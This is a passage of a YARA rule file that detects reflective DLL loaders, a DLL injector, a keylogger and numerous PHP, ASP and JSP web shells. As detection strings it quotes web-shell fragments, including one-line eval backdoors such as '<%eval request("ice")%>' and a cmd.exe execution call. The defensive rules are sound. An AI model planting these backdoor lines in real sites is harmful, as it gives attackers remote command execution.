		$handoff1 = {4C 8D 05 ?? ?? ?? ?? 48 C7 44 24 28 00 00 00 00 C7 44 24 20 00 00 00 00 e8}
		$handoff2 = {C7 ?? 24 ?? 00 00 00 00 89 44 24 ?? C7 ?? 24 ?? ?? ?? ?? ?? C7 ?? 24 ?? 00 00 00 00 }
		$garbageLoad1 = {53 48 83 EC 20 89 CB 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 D8 48 83 C4 20 5B C3}
		$garbageLoad2 = {55 89 E5 83 EC 18 C7 ?? 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 45 08 52 C9 C3}

	condition:
		1 of ( $handoff* ) and 1 of ( $garbageLoad* )
}

import "pe"

rule ReflectiveLoader
{
	meta:
		description = "Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended"
		reference = "Internal Research"
		score = 70
		date = "2017-07-17"
		modified = "2021-03-15"
		author = "Florian Roth (Nextron Systems)"
		nodeepdive = 1
		id = "d8a601d7-b99a-59dc-bfc7-bf0e35b5d8bd"

	strings:
		$x1 = "ReflectiveLoader" fullword ascii
		$x2 = "ReflectivLoader.dll" fullword ascii
		$x3 = "?ReflectiveLoader@@" ascii
		$x4 = "reflective_dll.x64.dll" fullword ascii
		$x5 = "reflective_dll.dll" fullword ascii
		$fp1 = "Sentinel Labs, Inc." wide
		$fp2 = "Panda Security, S.L." wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or pe.exports ( "ReflectiveLoader" ) or pe.exports ( "_ReflectiveLoader@4" ) or pe.exports ( "?ReflectiveLoader@@YGKPAX@Z" ) ) and not 1 of ( $fp* )
}

import "pe"

rule Reflective_DLL_Loader_Aug17_1
{
	meta:
		description = "Detects Reflective DLL Loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-20"
		hash1 = "f2f85855914345eec629e6fc5333cf325a620531d1441313292924a88564e320"
		id = "9a2674f8-5fdb-5a4d-a2b9-41e874939616"

	strings:
		$x1 = "\\Release\\reflective_dll.pdb" ascii
		$x2 = "reflective_dll.x64.dll" fullword ascii
		$s3 = "DLL Injection" fullword ascii
		$s4 = "?ReflectiveLoader@@YA_KPEAX@Z" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "4bf489ae7d1e6575f5bb81ae4d10862f" or pe.exports ( "?ReflectiveLoader@@YA_KPEAX@Z" ) or ( 1 of ( $x* ) or 2 of them ) ) ) or ( 2 of them )
}

rule DLL_Injector_Lynx
{
	meta:
		description = "Detects Lynx DLL Injector"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-20"
		hash1 = "d594f60e766e0c3261a599b385e3f686b159a992d19fa624fad8761776efa4f0"
		id = "7a4c9949-c701-5ae2-a8b1-3ef0b08c1c04"

	strings:
		$x1 = " -p <TARGET PROCESS NAME> | -u <DLL PAYLOAD> [--obfuscate]" fullword wide
		$x2 = "You've selected to inject into process: %s" fullword wide
		$x3 = "Lynx DLL Injector" fullword wide
		$x4 = "Reflective DLL Injector" fullword wide
		$x5 = "Failed write payload: %lu" fullword wide
		$x6 = "Failed to start payload: %lu" fullword wide
		$x7 = "Injecting payload..." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and 1 of them ) or ( 3 of them )
}

import "pe"

rule Reflective_DLL_Loader_Aug17_2
{
	meta:
		description = "Detects Reflective DLL Loader - suspicious - Possible FP could be program crack"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-20"
		score = 60
		hash1 = "c2a7a2d0b05ad42386a2bedb780205b7c0af76fe9ee3d47bbe217562f627fcae"
		hash2 = "b90831aaf8859e604283e5292158f08f100d4a2d4e1875ea1911750a6cb85fe0"
		id = "5948d9ba-e655-5b11-ad74-f650b3a753e7"

	strings:
		$x1 = "\\ReflectiveDLLInjection-master\\" ascii
		$s2 = "reflective_dll.dll" fullword ascii
		$s3 = "DLL injection" fullword ascii
		$s4 = "_ReflectiveLoader@4" ascii
		$s5 = "Reflective Dll Injection" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "59867122bcc8c959ad307ac2dd08af79" or pe.exports ( "_ReflectiveLoader@4" ) or 2 of them ) ) or ( 3 of them )
}

import "pe"

rule Reflective_DLL_Loader_Aug17_3
{
	meta:
		description = "Detects Reflective DLL Loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-20"
		modified = "2022-12-21"
		hash1 = "d10e4b3f1d00f4da391ac03872204dc6551d867684e0af2a4ef52055e771f474"
		id = "91842f58-5205-533d-9e97-a1e84fbf259d"

	strings:
		$s1 = "\\Release\\inject.pdb" ascii
		$s2 = "!!! Failed to gather information on system processes! " fullword ascii
		$s3 = "reflective_dll.dll" fullword ascii
		$s4 = "[-] %s. Error=%d" fullword ascii
		$s5 = "\\Start Menu\\Programs\\reflective_dll.dll" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "26ba48d3e3b964f75ff148b6679b42ec" or 2 of them ) ) or ( 3 of them )
}

rule Reflective_DLL_Loader_Aug17_4
{
	meta:
		description = "Detects Reflective DLL Loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-20"
		hash1 = "205b881701d3026d7e296570533e5380e7aaccaa343d71b6fcc60802528bdb74"
		hash2 = "f76151646a0b94024761812cde1097ae2c6d455c28356a3db1f7905d3d9d6718"
		id = "d2a28ea6-a3f7-5ceb-86fd-1e5b7f916a41"

	strings:
		$x1 = "<H1>&nbsp;>> >> >> Keylogger Installed - %s %s << << <<</H1>" fullword ascii
		$s1 = "<H3> ----- Running Process ----- </H3>" fullword ascii
		$s2 = "<H2>Operating system: %s<H2>" fullword ascii
		$s3 = "<H2>System32 dir:  %s</H2>" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them )
}

rule Weevely_Webshell
{
	meta:
		description = "Weevely Webshell - Generic Rule - heavily scrambled tiny web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.ehacking.net/2014/12/weevely-php-stealth-web-backdoor-kali.html"
		date = "2014/12/14"
		score = 60
		id = "12aa177a-4ebc-5ed8-a81b-34ec83395ec4"

	strings:
		$s0 = /\$[a-z]{4} = \$[a-z]{4}\("[a-z][a-z]?",[\s]?"",[\s]?"/ ascii
		$s1 = /\$[a-z]{4} = str_replace\("[a-z][a-z]?","","/ ascii
		$s2 = /\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\)\)\); \$[a-z]{4}\(\);/ ascii
		$s4 = /\$[a-z]{4}="[a-zA-Z0-9]{70}/ ascii

	condition:
		uint32( 0 ) == 0x68703f3c and all of ( $s* ) and filesize > 570 and filesize < 800
}

rule webshell_h4ntu_shell_powered_by_tsoi_
{
	meta:
		description = "Web Shell - file h4ntu shell powered by tsoi.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "06ed0b2398f8096f1bebf092d0526137"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>Server Adress:</b"
		$s3 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>User Info:</b> ui"
		$s4 = "    <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><?= $info ?>: <?= "
		$s5 = "<INPUT TYPE=\"text\" NAME=\"cmd\" value=\"<?php echo stripslashes(htmlentities($"

	condition:
		all of them
}

rule webshell_PHP_sql
{
	meta:
		description = "Web Shell - file sql.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "2cf20a207695bbc2311a998d1d795c35"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$result=mysql_list_tables($db) or die (\"$h_error<b>\".mysql_error().\"</b>$f_"
		$s4 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"

	condition:
		all of them
}

rule webshell_PHP_a
{
	meta:
		description = "Web Shell - file a.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "e3b461f7464d81f5022419d87315a90d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\""
		$s2 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>"
		$s4 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p> " fullword

	condition:
		2 of them
}

rule webshell_iMHaPFtp_2
{
	meta:
		description = "Web Shell - file iMHaPFtp.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "12911b73bc6a5d313b494102abcf5c57"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s8 = "if ($l) echo '<a href=\"' . $self . '?action=permission&amp;file=' . urlencode($"
		$s9 = "return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAA"

	condition:
		1 of them
}

rule webshell_Jspspyweb
{
	meta:
		description = "Web Shell - file Jspspyweb.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "4e9be07e95fff820a9299f3fb4ace059"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "      out.print(\"<tr><td width='60%'>\"+strCut(convertPath(list[i].getPath()),7"
		$s3 = "  \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control"

	condition:
		all of them
}

rule webshell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2
{
	meta:
		description = "Web Shell - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "49ad9117c96419c35987aaa7e2230f63"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "die(\"\\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\\n"
		$s1 = "Mode Shell v1.0</font></span></a></font><font face=\"Webdings\" size=\"6\" color"

	condition:
		1 of them
}

rule webshell_SimAttacker_Vrsion_1_0_0_priv8_4_My_friend
{
	meta:
		description = "Web Shell - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "echo \"<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><fo"
		$s3 = "fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"

	condition:
		1 of them
}

rule webshell_phpshell_2_1_pwhash
{
	meta:
		description = "Web Shell - file pwhash.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "ba120abac165a5a30044428fac1970d8"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<tt>&nbsp;</tt>\" (space), \"<tt>[</tt>\" (left bracket), \"<tt>|</tt>\" (pi"
		$s3 = "word: \"<tt>null</tt>\", \"<tt>yes</tt>\", \"<tt>no</tt>\", \"<tt>true</tt>\","

	condition:
		1 of them
}

rule webshell_PHPRemoteView
{
	meta:
		description = "Web Shell - file PHPRemoteView.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "29420106d9a81553ef0d1ca72b9934d9"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"

	condition:
		1 of them
}

rule webshell_jsp_12302
{
	meta:
		description = "Web Shell - file 12302.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a3930518ea57d899457a62f372205f7f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "</font><%out.print(request.getRealPath(request.getServletPath())); %>" fullword
		$s1 = "<%@page import=\"java.io.*,java.util.*,java.net.*\"%>" fullword
		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""

	condition:
		all of them
}

rule webshell_caidao_shell_guo
{
	meta:
		description = "Web Shell - file guo.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "9e69a8f499c660ee0b4796af14dc08f0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php ($www= $_POST['ice'])!"
		$s1 = "@preg_replace('/ad/e','@'.str_rot13('riny').'($ww"

	condition:
		1 of them
}

rule webshell_PHP_redcod
{
	meta:
		description = "Web Shell - file redcod.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "5c1c8120d82f46ff9d813fbe3354bac5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "H8p0bGFOEy7eAly4h4E4o88LTSVHoAglJ2KLQhUw" fullword
		$s1 = "HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm" fullword

	condition:
		all of them
}

rule webshell_remview_fix
{
	meta:
		description = "Web Shell - file remview_fix.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a24b7c492f5f00e2a19b0fa2eb9c3697"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
		$s5 = "echo \"<P><hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n"

	condition:
		1 of them
}

rule webshell_asp_cmd
{
	meta:
		description = "Web Shell - file cmd.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "895ca846858c315a3ff8daa7c55b3119"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
		$s3 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword

	condition:
		1 of them
}

rule webshell_php_sh_server
{
	meta:
		description = "Web Shell - file server.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 50
		hash = "d87b019e74064aa90e2bb143e5e16cfa"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "eval(getenv('HTTP_CODE'));" fullword

	condition:
		all of them
}

rule webshell_PH_Vayv_PH_Vayv
{
	meta:
		description = "Web Shell - file PH Vayv.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "35fb37f3c806718545d97c6559abd262"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "style=\"BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px in"
		$s4 = "<font color=\"#858585\">SHOPEN</font></a></font><font face=\"Verdana\" style"

	condition:
		1 of them
}

rule webshell_caidao_shell_ice
{
	meta:
		description = "Web Shell - file ice.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "6560b436d3d3bb75e2ef3f032151d139"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%eval request(\"ice\")%>" fullword

	condition:
		all of them
}

rule webshell_cihshell_fix
{
	meta:
		description = "Web Shell - file cihshell_fix.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "3823ac218032549b86ee7c26f10c4cb5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "<tr style='background:#242424;' ><td style='padding:10px;'><form action='' encty"
		$s8 = "if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhos"

	condition:
		1 of them
}

rule webshell_asp_shell
{
	meta:
		description = "Web Shell - file shell.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "e63f5a96570e1faf4c7b8ca6df750237"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "<input type=\"submit\" name=\"Send\" value=\"GO!\">" fullword
		$s8 = "<TEXTAREA NAME=\"1988\" ROWS=\"18\" COLS=\"78\"></TEXTAREA>" fullword

	condition:
		all of them
}

rule webshell_Private_i3lue
{
	meta:
		description = "Web Shell - file Private-i3lue.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "13f5c7a035ecce5f9f380967cf9d4e92"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s8 = "case 15: $image .= \"\\21\\0\\"

	condition:
		all of them
}

rule webshell_php_up
{
	meta:
		description = "Web Shell - file up.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "7edefb8bd0876c41906f4b39b52cd0ef"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);" fullword
		$s3 = "if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {" fullword
		$s8 = "echo \"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];" fullword

	condition:
		2 of them
}

rule webshell_Mysql_interface_v1_0
{
	meta:
		description = "Web Shell - file Mysql interface v1.0.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a12fc0a3d31e2f89727b9678148cd487"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "echo \"<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\\\"return"

	condition:
		all of them
}

rule webshell_php_s_u
{
	meta:
		description = "Web Shell - file s-u.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "efc7ba1a4023bcf40f5e912f1dd85b5a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s6 = "<a href=\"?act=do\"><font color=\"red\">Go Execute</font></a></b><br /><textarea"

	condition:
		all of them
}

rule webshell_phpshell_2_1_config
{
	meta:
		description = "Web Shell - file config.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "bd83144a649c5cc21ac41b505a36a8f3"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "; (choose good passwords!).  Add uses as simple 'username = \"password\"' lines." fullword

	condition:
		all of them
}

rule webshell_asp_EFSO_2
{
	meta:
		description = "Web Shell - file EFSO_2.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a341270f9ebd01320a7490c12cb2e64c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "%8@#@&P~,P,PP,MV~4BP^~,NS~m~PXc3,_PWbSPU W~~[u3Fffs~/%@#@&~~,PP~~,M!PmS,4S,mBPNB"

	condition:
		all of them
}

rule webshell_jsp_up
{
	meta:
		description = "Web Shell - file up.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "515a5dd86fe48f673b72422cccf5a585"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "// BUG: Corta el fichero si es mayor de 640Ks" fullword

	condition:
		all of them
}

rule webshell_NetworkFileManagerPHP
{
	meta:
		description = "Web Shell - file NetworkFileManagerPHP.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "acdbba993a5a4186fd864c5e4ea0ba4f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "  echo \"<br><center>All the data in these tables:<br> \".$tblsv.\" were putted "

	condition:
		all of them
}

rule webshell_Server_Variables
{
	meta:
		description = "Web Shell - file Server Variables.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "47fb8a647e441488b30f92b4d39003d7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "<% For Each Vars In Request.ServerVariables %>" fullword
		$s9 = "Variable Name</B></font></p>" fullword

	condition:
		all of them
}

rule webshell_caidao_shell_ice_2
{
	meta:
		description = "Web Shell - file ice.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "1d6335247f58e0a5b03e17977888f5f2"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword

	condition:
		all of them
}

rule webshell_caidao_shell_mdb
{
	meta:
		description = "Web Shell - file mdb.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "fbf3847acef4844f3a0d04230f6b9ff9"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<% execute request(\"ice\")%>a " fullword

	condition:
		all of them
}

rule webshell_jsp_guige
{
	meta:
		description = "Web Shell - file guige.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "2c9f2dafa06332957127e2c713aacdd2"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "if(damapath!=null &&!damapath.equals(\"\")&&content!=null"

	condition:
		all of them
}

rule webshell_phpspy2010
{
	meta:
		description = "Web Shell - file phpspy2010.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "14ae0e4f5349924a5047fed9f3b105c5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "eval(gzinflate(base64_decode("
		$s5 = "//angel" fullword
		$s8 = "$admin['cookiedomain'] = '';" fullword

	condition:
		all of them
}

rule webshell_asp_ice
{
	meta:
		description = "Web Shell - file ice.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d141e011a92f48da72728c35f1934a2b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "D,'PrjknD,J~[,EdnMP[,-4;DS6@#@&VKobx2ldd,'~JhC"

	condition:
		all of them
}

rule webshell_drag_system
{
	meta:
		description = "Web Shell - file system.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "15ae237cf395fb24cf12bff141fb3f7c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "String sql = \"SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_"

	condition:
		all of them
}

rule webshell_DarkBlade1_3_asp_indexx
{
	meta:
		description = "Web Shell - file indexx.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b7f46693648f534c2ca78e3f21685707"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "Const strs_toTransform=\"command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCou"

	condition:
		all of them
}

rule webshell_phpshell3
{
	meta:
		description = "Web Shell - file phpshell3.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "76117b2ee4a7ac06832d50b2d04070b8"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "<input name=\"nounce\" type=\"hidden\" value=\"<?php echo $_SESSION['nounce'];"
		$s5 = "<p>Username: <input name=\"username\" type=\"text\" value=\"<?php echo $userna"
		$s7 = "$_SESSION['output'] .= \"cd: could not change to: $new_dir\\n\";" fullword

	condition:
		2 of them
}

rule webshell_jsp_hsxa
{
	meta:
		description = "Web Shell - file hsxa.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d0e05f9c9b8e0b3fa11f57d9ab800380"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"

	condition:
		all of them
}

rule webshell_jsp_utils
{
	meta:
		description = "Web Shell - file utils.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "9827ba2e8329075358b8e8a53e20d545"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "ResultSet r = c.getMetaData().getTables(null, null, \"%\", t);" fullword
		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"

	condition:
		all of them
}

rule webshell_asp_01
{
	meta:
		description = "Web Shell - file 01.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 50
		hash = "61a687b0bea0ef97224c7bd2df118b87"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
